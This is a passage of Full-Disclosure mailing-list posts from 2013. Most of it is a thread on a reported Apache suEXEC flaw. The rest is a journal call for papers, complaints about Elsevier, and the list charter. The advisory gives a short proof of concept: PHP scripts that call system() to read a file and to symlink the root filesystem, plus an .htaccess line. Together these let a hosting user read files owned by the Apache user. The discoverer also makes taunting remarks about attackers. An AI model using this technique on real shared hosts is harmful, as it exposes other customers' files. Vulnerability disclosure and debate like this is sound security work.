files, configs and so on... Yes, this can be "fixed" with proper security.
But just because you can change the lock to your car, does not mean the
factory should not fix the vulnerable lock.
Kingcope, this bug works just to read files, owned by httpd or where
everybody else has perms. You can't execute or do any other damage, except
data gathering as apache user.
Since it breaks the architecture logic, I don't see how Apache will/want to
fix this. The only _proper_ way to do this, will be Apache to add the suPHP
to Apache, and what I mean is to implement their own suPHP proper, based on
the actual web hosting jailing needs. We are in 2013, everybody implements
all crazy things and useless options around, but there is still not
vhost/user/etc 100% jailing Apache based.
--
Dico Emil
-Original Message-
From: Full-Disclosure [mailto:full-disclosure-boun...@lists.grok.org.uk] On
Behalf Of Kingcope
Sent: Friday, August 9, 2013 12:33 PM
To: full-disclosure@lists.grok.org.uk; bugt...@securityfocus.com
Subject: Re: [Full-disclosure] Apache suEXEC privilege elevation /
So the blackhat that Sits on ur Site and the site of ur company Since half a
year will stop at the point Where its "technically incorrect" and wont
escalate to root because "it doesnt have to do Anything with suexec". Its an
Old vuln so let it stay , better for us and soon our Data on your boxes.
Time to Write a Real Root exploit and dont waste the Time with sysadmins
that know how to set a flag in httpd.conf , apache devs included.
Am 09.08.2013 um 14:29 schrieb Kingcope
:
> So what your Emails Tell me is better ignore this vulnerability. I dont
Claim its a High severity Bug but if you Tell People to ignore it Because it
isnt a vulnerability you are very much aiding the Chaos of insecurity in the
Internet today. You Maybe have a Secure Setting but theres only you on the
Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
we have compromises in a High Scale every Day due to this ignorance. My rant
on that One.
>
> Am 07.08.2013 um 21:49 schrieb king cope
:
>
>> Apache suEXEC privilege elevation / information disclosure
>>
>> Discovered by Kingcope/Aug 2013
>>
>> The suEXEC feature provides Apache users the ability to run CGI and SSI
programs
>> under user IDs different from the user ID of the calling web server.
Normally,
>> when a CGI or SSI program executes, it runs as the same user who is
running the
>> web server.
>> Used properly, this feature can reduce considerably the security risks
involved
>> with allowing users to develop and run private CGI or SSI programs.
>>
>> With this bug an attacker who is able to run php or cgi code inside a web
>> hosting environment and the environment is configured to use suEXEC as a
>> protection mechanism, he/she is able to read any file and directory on
the file-
>> system of the UNIX/Linux system with the user and group id of the
>> apache web server.
>>
>> Normally php and cgi scripts are not allowed to read files with the
apache user-
>> id inside a suEXEC configured environment.
>>
>> Take for example this apache owned file and the php script that follows.
>>
>> $ ls -la /etc/testapache
>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>> only user www-data should be able to read this file.
>>
>> $ cat test.php
>> > system("id; cat /etc/testapache");
>> ?>
>>
>> When calling the php file using a webbrowser it will show...
>> uid=1002(example) gid=1002(example) groups=1002(example)
>>
>> because the php script is run trough suEXEC.
>> The script will not output the file requested because of a permissions
error.
>>
>> Now if we create a .htaccess file with the content...
>> Options Indexes FollowSymLinks
>>
>> and a php script with the content...
>>
>> > system("ln -sf / test99.php");
>> symlink("/", "test99.php"); // try builtin function in case when
>> //system() is blocked
>> ?>
>> in the same folder
>>
>> ..we can access the root filesystem with the apache uid,gid by
>> requesting test99.php.
>> The above php script will simply create a symbolic link to '/'.
>>
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid
>>
>> The reason we can now read out any files and traverse directories owned
by the
>> apache user is because apache httpd displays symlinks and directory
listings
>> without querying suEXEC.
>> It is not possible to write to fi
Re: [Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA
I am shocked, i am. ... Is this common practice?! Alex, vrijdag 9 augustus 2013 10:51 Elsevier sells the journals to universities for crazy amounts (the top 10 from university of karlsruhe can be seen here http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php with 2 Euro beeing the most expensive one). Althought you submit your paper for free (or even pay for "corrections"). Please consider boycotting Elsevier (like these guys http://www.economist.com/node/21545974). Doing the right thing > impact factor. Am 2013-08-09 09:26, schrieb Konrad Rieck: CALL FOR PAPERS Special Issue on Threat Detection, Analysis and Defense Journal of Information Security and Applications Please consider the following opportunity to submit and publish original scientific results to a special issue of the Journal of Information Security and Applications (Elsevier) on "Threat Detection, Analysis and Defense" The submission deadline is September 30, 2013. http://bit.ly/13ku0Ga http://ees.elsevier.com/jisa/ TOPICS This special issue is intended to bring forth the recent advancements in the detection, modeling, monitoring, analysis and defense of various threats posed to sensitive data and security systems from unauthorized or other inappropriate access. Areas to be covered include but are not limited to: * Monitoring: Novel tools and techniques for monitoring mounting threats including monitoring of ongoing attacks. * Detection solutions: Innovations in the detection of intrusions, malware and its activity, including post-attack forensics. * Infrastructure: Improvements in network traffic security analysis for identification of threats. * Threat modelling: Advances in the tools, technologies and processes used in anticipating attacks. * Emergent problems: New threats resulting from new business models for transfer of value, from gold-farming to Paypal and Bitcoins. * Security designs: Innovations in security architectures, approaches and systems responding to specific emerging threats. IMPORTANT DATES * Paper submission: September 30, 2013 * First-round notification: November 30, 2013 * Revision: January 13, 2014 * Final decision: March 14, 2014 * Submission of final paper: April 14, 2014 * Publication date: July 2014 SUBMISSION DETAILS Paper submissions for the special issue should follow the submission format and guidelines for regular papers submitted to Journal of Information Security and Applications (JISA). All the papers will be peer-reviewed following the JISA reviewing procedures. GUEST EDITORS Alan Woodward Charteris plc and University of Surrey, UK alan.woodward (AT) surrey.ac.uk Andrew Rogoyski Roke Manor Research Ltd, UK andrew.rogoyski (AT) roke.co.uk Konrad Rieck, University of Goettingen, Germany konrad.rieck (AT) uni-goettingen.de Shujun Li University of Surrey, UK Shujun.Li (AT) surrey.ac.uk ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA
It is, e.g. PhD students need papers published with high impact factors for the PhD (see https://en.wikipedia.org/wiki/Impact_factor [7]) and are forced to give the rights to e.g. Elsevier for publishing. They lose the right to publish them elsewhere (on their own or university homepage). You can find facebook groups where students have access to different journals and share those papers between each other, when a department has no Elsevier subscription. It is a pain. Ask some PhD students if you know some. They can tell you more. Am 2013-08-09 12:08, schrieb Bart van Tuil: > I am shocked, i am. ... Is this common practice?! > > Alex, vrijdag 9 augustus 2013 10:51 > > Elsevier sells the journals to universities for crazy amounts (the top 10 > from university of karlsruhe can be seen here > http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php [5] with 2 > Euro beeing the most expensive one). Althought you submit your paper for free > (or even pay for "corrections"). > > Please consider boycotting Elsevier (like these guys > http://www.economist.com/node/21545974 [6]). > > Doing the right thing > impact factor. > > Am 2013-08-09 09:26, schrieb Konrad Rieck: > >> CALL FOR PAPERS >> >> Special Issue on Threat Detection, Analysis and Defense >> >> Journal of Information Security and Applications >> >> Please consider the following opportunity to submit and publish >> >> original scientific results to a special issue of the Journal of >> >> Information Security and Applications (Elsevier) on "Threat Detection, >> >> Analysis and Defense" >> >> The submission deadline is September 30, 2013. >> >> http://bit.ly/13ku0Ga [1] >> >> http://ees.elsevier.com/jisa/ [2] >> >> TOPICS >> >> This special issue is intended to bring forth the recent advancements >> >> in the detection, modeling, monitoring, analysis and defense of >> >> various threats posed to sensitive data and security systems from >> >> unauthorized or other inappropriate access. Areas to be covered >> >> include but are not limited to: >> >> * Monitoring: Novel tools and techniques for monitoring mounting threats >> >> including monitoring of ongoing attacks. >> >> * Detection solutions: Innovations in the detection of intrusions, >> >> malware and its activity, including post-attack forensics. >> >> * Infrastructure: Improvements in network traffic security analysis for >> >> identification of threats. >> >> * Threat modelling: Advances in the tools, technologies and processes >> >> used in anticipating attacks. >> >> * Emergent problems: New threats resulting from new business models for >> >> transfer of value, from gold-farming to Paypal and Bitcoins. >> >> * Security designs: Innovations in security architectures, approaches >> >> and systems responding to specific emerging threats. >> >> IMPORTANT DATES >> >> * Paper submission: September 30, 2013 >> >> * First-round notification: November 30, 2013 >> >> * Revision: January 13, 2014 >> >> * Final decision: March 14, 2014 >> >> * Submission of final paper: April 14, 2014 >> >> * Publication date: July 2014 >> >> SUBMISSION DETAILS >> >> Paper submissions for the special issue should follow the submission >> >> format and guidelines for regular papers submitted to Journal of >> >> Information Security and Applications (JISA). All the papers will be >> >> peer-reviewed following the JISA reviewing procedures. >> >> GUEST EDITORS >> >> Alan Woodward >> >> Charteris plc and University of Surrey, UK >> >> alan.woodward (AT) surrey.ac.uk >> >> Andrew Rogoyski >> >> Roke Manor Research Ltd, UK >> >> andrew.rogoyski (AT) roke.co.uk >> >> Konrad Rieck, >> >> University of Goettingen, Germany >> >> konrad.rieck (AT) uni-goettingen.de >> >> Shujun Li >> >> University of Surrey, UK >> >> Shujun.Li (AT) surrey.ac.uk >> >> ___ >> >> Full-Disclosure - We believe in it. >> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html [3] >> >> Hosted and sponsored by Secunia - http://secunia.com/ [4] Links: -- [1] http://bit.ly/13ku0Ga [2] http://ees.elsevier.com/jisa/ [3] http://lists.grok.org.uk/full-disclosure-charter.html [4] http://secunia.com/ [5] http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php [6] http://www.economist.com/node/21545974 [7] https://en.wikipedia.org/wiki/Impact_factor ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
I would concern myself more with the web hosting providers which utilize suExec. By escalating privileges even to just the level of the HTTPD would allow one to read/write to content outside of their web hosting account. I have personally been in situations where I have had to advise sys admins that suExec was properly setup & my web hosting account was capable of (in worst case scenario) shutting down the HTTPD itself, and in other situations capable of reading things like wordpress config files from other hosting accounts. Good work as always Kingcope. :) On 08/09/13 04:33, Kingcope wrote: So the blackhat that Sits on ur Site and the site of ur company Since half a year will stop at the point Where its "technically incorrect" and wont escalate to root because "it doesnt have to do Anything with suexec". Its an Old vuln so let it stay , better for us and soon our Data on your boxes. Time to Write a Real Root exploit and dont waste the Time with sysadmins that know how to set a flag in httpd.conf , apache devs included. Am 09.08.2013 um 14:29 schrieb Kingcope : So what your Emails Tell me is better ignore this vulnerability. I dont Claim its a High severity Bug but if you Tell People to ignore it Because it isnt a vulnerability you are very much aiding the Chaos of insecurity in the Internet today. You Maybe have a Secure Setting but theres only you on the Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder we have compromises in a High Scale every Day due to this ignorance. My rant on that One. Am 07.08.2013 um 21:49 schrieb king cope : Apache suEXEC privilege elevation / information disclosure Discovered by Kingcope/Aug 2013 The suEXEC feature provides Apache users the ability to run CGI and SSI programs under user IDs different from the user ID of the calling web server. Normally, when a CGI or SSI program executes, it runs as the same user who is running the web server. Used properly, this feature can reduce considerably the security risks involved with allowing users to develop and run private CGI or SSI programs. With this bug an attacker who is able to run php or cgi code inside a web hosting environment and the environment is configured to use suEXEC as a protection mechanism, he/she is able to read any file and directory on the file- system of the UNIX/Linux system with the user and group id of the apache web server. Normally php and cgi scripts are not allowed to read files with the apache user- id inside a suEXEC configured environment. Take for example this apache owned file and the php script that follows. $ ls -la /etc/testapache -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache only user www-data should be able to read this file. $ cat test.php When calling the php file using a webbrowser it will show... uid=1002(example) gid=1002(example) groups=1002(example) because the php script is run trough suEXEC. The script will not output the file requested because of a permissions error. Now if we create a .htaccess file with the content... Options Indexes FollowSymLinks and a php script with the content... in the same folder ..we can access the root filesystem with the apache uid,gid by requesting test99.php. The above php script will simply create a symbolic link to '/'. A request to test99.php/etc/testapache done with a web browser shows.. voila! read with the apache uid/gid The reason we can now read out any files and traverse directories owned by the apache user is because apache httpd displays symlinks and directory listings without querying suEXEC. It is not possible to write to files in this case. Version notes. Assumed is that all Apache versions are affected by this bug. apache2 -V Server version: Apache/2.2.22 (Debian) Server built: Mar 4 2013 21:32:32 Server's Module Magic Number: 20051115:30 Server loaded: APR 1.4.6, APR-Util 1.4.1 Compiled using: APR 1.4.6, APR-Util 1.4.1 Architecture: 32-bit Server MPM: Worker threaded: yes (fixed thread count) forked: yes (variable process count) Server compiled with -D APACHE_MPM_DIR="server/mpm/worker" -D APR_HAS_SENDFILE -D APR_HAS_MMAP -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled) -D APR_USE_SYSVSEM_SERIALIZE -D APR_USE_PTHREAD_SERIALIZE -D APR_HAS_OTHER_CHILD -D AP_HAVE_RELIABLE_PIPED_LOGS -D DYNAMIC_MODULE_LIMIT=128 -D HTTPD_ROOT="/etc/apache2" -D SUEXEC_BIN="/usr/lib/apache2/suexec" -D DEFAULT_PIDLOG="/var/run/apache2.pid" -D DEFAULT_SCOREBOARD="logs/apache_runtime_status" -D DEFAULT_ERRORLOG="logs/error_log" -D AP_TYPES_CONFIG_FILE="mime.types" -D SERVER_CONFIG_FILE="apache2.conf" Cheers, /Kingcope ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ -- *R. Whitney* /- Independent IT Consultant/ *Phone:* (347)674-4835 *Postal:* PO Box 5984, Bloomington, IL 61702-5984 *Other:*
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Who are you talking to? You keep deleting everyone else's quotes except your own so we have no idea, please stop selective quoting if you want to be taken with any grain of seriousness and expect a response. If you're not doing it deliberately, then your client seems to be breaking things :) if its in relation to my statement? This is not a vulnerability, if you disagree with that, by all means visit http://httpd.apache.org/bug_report.html Cheers On Fri, 2013-08-09 at 16:33 +0700, Kingcope wrote: > So the blackhat that Sits on ur Site and the site of ur company Since half a > year will stop at the point Where its "technically incorrect" and wont > escalate to root because "it doesnt have to do Anything with suexec". Its an > Old vuln so let it stay , better for us and soon our Data on your boxes. > > Time to Write a Real Root exploit and dont waste the Time with sysadmins that > know how to set a flag in httpd.conf , apache devs included. > <> signature.asc Description: This is a digitally signed message part ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
So the blackhat that Sits on ur Site and the site of ur company Since half a
year will stop at the point Where its "technically incorrect" and wont
escalate to root because "it doesnt have to do Anything with suexec". Its an
Old vuln so let it stay , better for us and soon our Data on your boxes.
Time to Write a Real Root exploit and dont waste the Time with sysadmins that
know how to set a flag in httpd.conf , apache devs included.
Am 09.08.2013 um 14:29 schrieb Kingcope
:
> So what your Emails Tell me is better ignore this vulnerability. I dont Claim
> its a High severity Bug but if you Tell People to ignore it Because it isnt a
> vulnerability you are very much aiding the Chaos of insecurity in the
> Internet today. You Maybe have a Secure Setting but theres only you on the
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
> we have compromises in a High Scale every Day due to this ignorance. My rant
> on that One.
>
> Am 07.08.2013 um 21:49 schrieb king cope
> :
>
>> Apache suEXEC privilege elevation / information disclosure
>>
>> Discovered by Kingcope/Aug 2013
>>
>> The suEXEC feature provides Apache users the ability to run CGI and SSI
>> programs
>> under user IDs different from the user ID of the calling web server.
>> Normally,
>> when a CGI or SSI program executes, it runs as the same user who is running
>> the
>> web server.
>> Used properly, this feature can reduce considerably the security risks
>> involved
>> with allowing users to develop and run private CGI or SSI programs.
>>
>> With this bug an attacker who is able to run php or cgi code inside a web
>> hosting environment and the environment is configured to use suEXEC as a
>> protection mechanism, he/she is able to read any file and directory on the
>> file-
>> system of the UNIX/Linux system with the user and group id of the
>> apache web server.
>>
>> Normally php and cgi scripts are not allowed to read files with the apache
>> user-
>> id inside a suEXEC configured environment.
>>
>> Take for example this apache owned file and the php script that follows.
>>
>> $ ls -la /etc/testapache
>> -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
>> only user www-data should be able to read this file.
>>
>> $ cat test.php
>> > system("id; cat /etc/testapache");
>> ?>
>>
>> When calling the php file using a webbrowser it will show...
>> uid=1002(example) gid=1002(example) groups=1002(example)
>>
>> because the php script is run trough suEXEC.
>> The script will not output the file requested because of a permissions error.
>>
>> Now if we create a .htaccess file with the content...
>> Options Indexes FollowSymLinks
>>
>> and a php script with the content...
>>
>> > system("ln -sf / test99.php");
>> symlink("/", "test99.php"); // try builtin function in case when
>> //system() is blocked
>> ?>
>> in the same folder
>>
>> ..we can access the root filesystem with the apache uid,gid by
>> requesting test99.php.
>> The above php script will simply create a symbolic link to '/'.
>>
>> A request to test99.php/etc/testapache done with a web browser shows..
>> voila! read with the apache uid/gid
>>
>> The reason we can now read out any files and traverse directories owned by
>> the
>> apache user is because apache httpd displays symlinks and directory listings
>> without querying suEXEC.
>> It is not possible to write to files in this case.
>>
>> Version notes. Assumed is that all Apache versions are affected by this bug.
>>
>> apache2 -V
>> Server version: Apache/2.2.22 (Debian)
>> Server built: Mar 4 2013 21:32:32
>> Server's Module Magic Number: 20051115:30
>> Server loaded: APR 1.4.6, APR-Util 1.4.1
>> Compiled using: APR 1.4.6, APR-Util 1.4.1
>> Architecture: 32-bit
>> Server MPM: Worker
>> threaded: yes (fixed thread count)
>> forked: yes (variable process count)
>> Server compiled with
>> -D APACHE_MPM_DIR="server/mpm/worker"
>> -D APR_HAS_SENDFILE
>> -D APR_HAS_MMAP
>> -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
>> -D APR_USE_SYSVSEM_SERIALIZE
>> -D APR_USE_PTHREAD_SERIALIZE
>> -D APR_HAS_OTHER_CHILD
>> -D AP_HAVE_RELIABLE_PIPED_LOGS
>> -D DYNAMIC_MODULE_LIMIT=128
>> -D HTTPD_ROOT="/etc/apache2"
>> -D SUEXEC_BIN="/usr/lib/apache2/suexec"
>> -D DEFAULT_PIDLOG="/var/run/apache2.pid"
>> -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
>> -D DEFAULT_ERRORLOG="logs/error_log"
>> -D AP_TYPES_CONFIG_FILE="mime.types"
>> -D SERVER_CONFIG_FILE="apache2.conf"
>>
>> Cheers,
>> /Kingcope
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA
Elsevier sells the journals to universities for crazy amounts (the top 10 from university of karlsruhe can be seen here http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php [5] with 2 Euro beeing the most expensive one). Althought you submit your paper for free (or even pay for "corrections"). Please consider boycotting Elsevier (like these guys http://www.economist.com/node/21545974 [6]). Doing the right thing > impact factor. Am 2013-08-09 09:26, schrieb Konrad Rieck: > CALL FOR PAPERS > > Special Issue on Threat Detection, Analysis and Defense > Journal of Information Security and Applications > > Please consider the following opportunity to submit and publish > original scientific results to a special issue of the Journal of > Information Security and Applications (Elsevier) on "Threat Detection, > Analysis and Defense" > > The submission deadline is September 30, 2013. > > http://bit.ly/13ku0Ga [1] > http://ees.elsevier.com/jisa/ [2] > > TOPICS > > This special issue is intended to bring forth the recent advancements > in the detection, modeling, monitoring, analysis and defense of > various threats posed to sensitive data and security systems from > unauthorized or other inappropriate access. Areas to be covered > include but are not limited to: > > * Monitoring: Novel tools and techniques for monitoring mounting threats > including monitoring of ongoing attacks. > * Detection solutions: Innovations in the detection of intrusions, > malware and its activity, including post-attack forensics. > * Infrastructure: Improvements in network traffic security analysis for > identification of threats. > * Threat modelling: Advances in the tools, technologies and processes > used in anticipating attacks. > * Emergent problems: New threats resulting from new business models for > transfer of value, from gold-farming to Paypal and Bitcoins. > * Security designs: Innovations in security architectures, approaches > and systems responding to specific emerging threats. > > IMPORTANT DATES > > * Paper submission: September 30, 2013 > * First-round notification: November 30, 2013 > * Revision: January 13, 2014 > * Final decision: March 14, 2014 > * Submission of final paper: April 14, 2014 > * Publication date: July 2014 > > SUBMISSION DETAILS > > Paper submissions for the special issue should follow the submission > format and guidelines for regular papers submitted to Journal of > Information Security and Applications (JISA). All the papers will be > peer-reviewed following the JISA reviewing procedures. > > GUEST EDITORS > > Alan Woodward > Charteris plc and University of Surrey, UK > alan.woodward (AT) surrey.ac.uk > > Andrew Rogoyski > Roke Manor Research Ltd, UK > andrew.rogoyski (AT) roke.co.uk > > Konrad Rieck, > University of Goettingen, Germany > konrad.rieck (AT) uni-goettingen.de > > Shujun Li > University of Surrey, UK > Shujun.Li (AT) surrey.ac.uk > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html [3] > Hosted and sponsored by Secunia - http://secunia.com/ [4] Links: -- [1] http://bit.ly/13ku0Ga [2] http://ees.elsevier.com/jisa/ [3] http://lists.grok.org.uk/full-disclosure-charter.html [4] http://secunia.com/ [5] http://www.bibliothek.kit.edu/cms/teuerste-zeitschriften.php [6] http://www.economist.com/node/21545974 ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
suEXEC changes the ID for _executable_ content only.
This is not executable content, it's content owned and readable by
www-data that is symlinked into a web-accessible directory..
As for symlinks, others have covered the AllowOveride function so I wont
repeat it.
On Fri, 2013-08-09 at 14:29 +0700, Kingcope wrote:
> So what your Emails Tell me is better ignore this vulnerability. I dont Claim
> its a High severity Bug but if you Tell People to ignore it Because it isnt a
> vulnerability you are very much aiding the Chaos of insecurity in the
> Internet today. You Maybe have a Secure Setting but theres only you on the
> Planet. Attackers Look specifically for such Bugs to Open Servers. No Wonder
> we have compromises in a High Scale every Day due to this ignorance. My rant
> on that One.
>
> Am 07.08.2013 um 21:49 schrieb king cope
> :
>
> > Apache suEXEC privilege elevation / information disclosure
> >
> > Discovered by Kingcope/Aug 2013
> >
> > The suEXEC feature provides Apache users the ability to run CGI and SSI
> > programs
> > under user IDs different from the user ID of the calling web server.
> > Normally,
> > when a CGI or SSI program executes, it runs as the same user who is running
> > the
> > web server.
> > Used properly, this feature can reduce considerably the security risks
> > involved
> > with allowing users to develop and run private CGI or SSI programs.
> >
> > With this bug an attacker who is able to run php or cgi code inside a web
> > hosting environment and the environment is configured to use suEXEC as a
> > protection mechanism, he/she is able to read any file and directory on the
> > file-
> > system of the UNIX/Linux system with the user and group id of the
> > apache web server.
> >
> > Normally php and cgi scripts are not allowed to read files with the apache
> > user-
> > id inside a suEXEC configured environment.
> >
> > Take for example this apache owned file and the php script that follows.
> >
> > $ ls -la /etc/testapache
> > -rw--- 1 www-data www-data 36 Aug 7 16:28 /etc/testapache
> > only user www-data should be able to read this file.
> >
> > $ cat test.php
> > >system("id; cat /etc/testapache");
> > ?>
> >
> > When calling the php file using a webbrowser it will show...
> > uid=1002(example) gid=1002(example) groups=1002(example)
> >
> > because the php script is run trough suEXEC.
> > The script will not output the file requested because of a permissions
> > error.
> >
> > Now if we create a .htaccess file with the content...
> > Options Indexes FollowSymLinks
> >
> > and a php script with the content...
> >
> > >system("ln -sf / test99.php");
> >symlink("/", "test99.php"); // try builtin function in case when
> >//system() is blocked
> > ?>
> > in the same folder
> >
> > ..we can access the root filesystem with the apache uid,gid by
> > requesting test99.php.
> > The above php script will simply create a symbolic link to '/'.
> >
> > A request to test99.php/etc/testapache done with a web browser shows..
> > voila! read with the apache uid/gid
> >
> > The reason we can now read out any files and traverse directories owned by
> > the
> > apache user is because apache httpd displays symlinks and directory listings
> > without querying suEXEC.
> > It is not possible to write to files in this case.
> >
> > Version notes. Assumed is that all Apache versions are affected by this bug.
> >
> > apache2 -V
> > Server version: Apache/2.2.22 (Debian)
> > Server built: Mar 4 2013 21:32:32
> > Server's Module Magic Number: 20051115:30
> > Server loaded: APR 1.4.6, APR-Util 1.4.1
> > Compiled using: APR 1.4.6, APR-Util 1.4.1
> > Architecture: 32-bit
> > Server MPM: Worker
> > threaded: yes (fixed thread count)
> >forked: yes (variable process count)
> > Server compiled with
> > -D APACHE_MPM_DIR="server/mpm/worker"
> > -D APR_HAS_SENDFILE
> > -D APR_HAS_MMAP
> > -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
> > -D APR_USE_SYSVSEM_SERIALIZE
> > -D APR_USE_PTHREAD_SERIALIZE
> > -D APR_HAS_OTHER_CHILD
> > -D AP_HAVE_RELIABLE_PIPED_LOGS
> > -D DYNAMIC_MODULE_LIMIT=128
> > -D HTTPD_ROOT="/etc/apache2"
> > -D SUEXEC_BIN="/usr/lib/apache2/suexec"
> > -D DEFAULT_PIDLOG="/var/run/apache2.pid"
> > -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
> > -D DEFAULT_ERRORLOG="logs/error_log"
> > -D AP_TYPES_CONFIG_FILE="mime.types"
> > -D SERVER_CONFIG_FILE="apache2.conf"
> >
> > Cheers,
> > /Kingcope
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
signature.asc
Description: This is a digitally signed message part
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia
[Full-disclosure] List Charter
[Full-Disclosure] Mailing List Charter John Cartwright - Introduction & Purpose - This document serves as a charter for the [Full-Disclosure] mailing list hosted at lists.grok.org.uk. The list was created on 9th July 2002 by Len Rose, and is primarily concerned with security issues and their discussion. The list is administered by John Cartwright. The Full-Disclosure list is hosted and sponsored by Secunia. - Subscription Information - Subscription/unsubscription may be performed via the HTTP interface located at http://lists.grok.org.uk/mailman/listinfo/full-disclosure. Alternatively, commands may be emailed to full-disclosure-requ...@lists.grok.org.uk, send the word 'help' in either the message subject or body for details. - Moderation & Management - The [Full-Disclosure] list is unmoderated. Typically posting will be restricted to members only, however the administrators may choose to accept submissions from non-members based on individual merit and relevance. It is expected that the list will be largely self-policing, however in special circumstances (eg spamming, misappropriation) then offending members may be removed from the list by the management. An archive of postings is available at http://lists.grok.org.uk/pipermail/full-disclosure/. - Acceptable Content - Any information pertaining to vulnerabilities is acceptable, for instance announcement and discussion thereof, exploit techniques and code, related tools and papers, and other useful information. Gratuitous advertisement, product placement, or self-promotion is forbidden. Disagreements, flames, arguments, and off-topic discussion should be taken off-list wherever possible. Humour is acceptable in moderation, providing it is inoffensive. Politics should be avoided at all costs. Members are reminded that due to the open nature of the list, they should use discretion in executing any tools or code distributed via this list. - Posting Guidelines - The primary language of this list is English. Members are expected to maintain a reasonable standard of netiquette when posting to the list. Quoting should not exceed that which is necessary to convey context, this is especially relevant to members subscribed to the digested version of the list. The use of HTML is discouraged, but not forbidden. Signatures will preferably be short and to the point, and those containing 'disclaimers' should be avoided where possible. Attachments may be included if relevant or necessary (e.g. PGP or S/MIME signatures, proof-of-concept code, etc) but must not be active (in the case of a worm, for example) or malicious to the recipient. Vacation messages should be carefully configured to avoid replying to list postings. Offenders will be excluded from the mailing list until the problem is corrected. Members may post to the list by emailing full-disclosure@lists.grok.org.uk. Do not send subscription/ unsubscription mails to this address, use the -request address mentioned above. - Charter Additions/Changes - The list charter will be published at http://lists.grok.org.uk/full-disclosure-charter.html. In addition, the charter will be posted monthly to the list by the management. Alterations will be made after consultation with list members and a consensus has been reached. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Special Issue "Threat Detection, Analysis and Defense" of JISA
CALL FOR PAPERS Special Issue on Threat Detection, Analysis and Defense Journal of Information Security and Applications Please consider the following opportunity to submit and publish original scientific results to a special issue of the Journal of Information Security and Applications (Elsevier) on "Threat Detection, Analysis and Defense" The submission deadline is September 30, 2013. http://bit.ly/13ku0Ga http://ees.elsevier.com/jisa/ TOPICS This special issue is intended to bring forth the recent advancements in the detection, modeling, monitoring, analysis and defense of various threats posed to sensitive data and security systems from unauthorized or other inappropriate access. Areas to be covered include but are not limited to: * Monitoring: Novel tools and techniques for monitoring mounting threats including monitoring of ongoing attacks. * Detection solutions: Innovations in the detection of intrusions, malware and its activity, including post-attack forensics. * Infrastructure: Improvements in network traffic security analysis for identification of threats. * Threat modelling: Advances in the tools, technologies and processes used in anticipating attacks. * Emergent problems: New threats resulting from new business models for transfer of value, from gold-farming to Paypal and Bitcoins. * Security designs: Innovations in security architectures, approaches and systems responding to specific emerging threats. IMPORTANT DATES * Paper submission: September 30, 2013 * First-round notification: November 30, 2013 * Revision: January 13, 2014 * Final decision: March 14, 2014 * Submission of final paper: April 14, 2014 * Publication date: July 2014 SUBMISSION DETAILS Paper submissions for the special issue should follow the submission format and guidelines for regular papers submitted to Journal of Information Security and Applications (JISA). All the papers will be peer-reviewed following the JISA reviewing procedures. GUEST EDITORS Alan Woodward Charteris plc and University of Surrey, UK alan.woodward (AT) surrey.ac.uk Andrew Rogoyski Roke Manor Research Ltd, UK andrew.rogoyski (AT) roke.co.uk Konrad Rieck, University of Goettingen, Germany konrad.rieck (AT) uni-goettingen.de Shujun Li University of Surrey, UK Shujun.Li (AT) surrey.ac.uk -- Prof. Dr. Konrad Rieck Computer Security Group, University of Göttingen http://www.sec.cs.uni-goettingen.de smime.p7s Description: S/MIME cryptographic signature ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] ReviewBoard Vulnerabilities
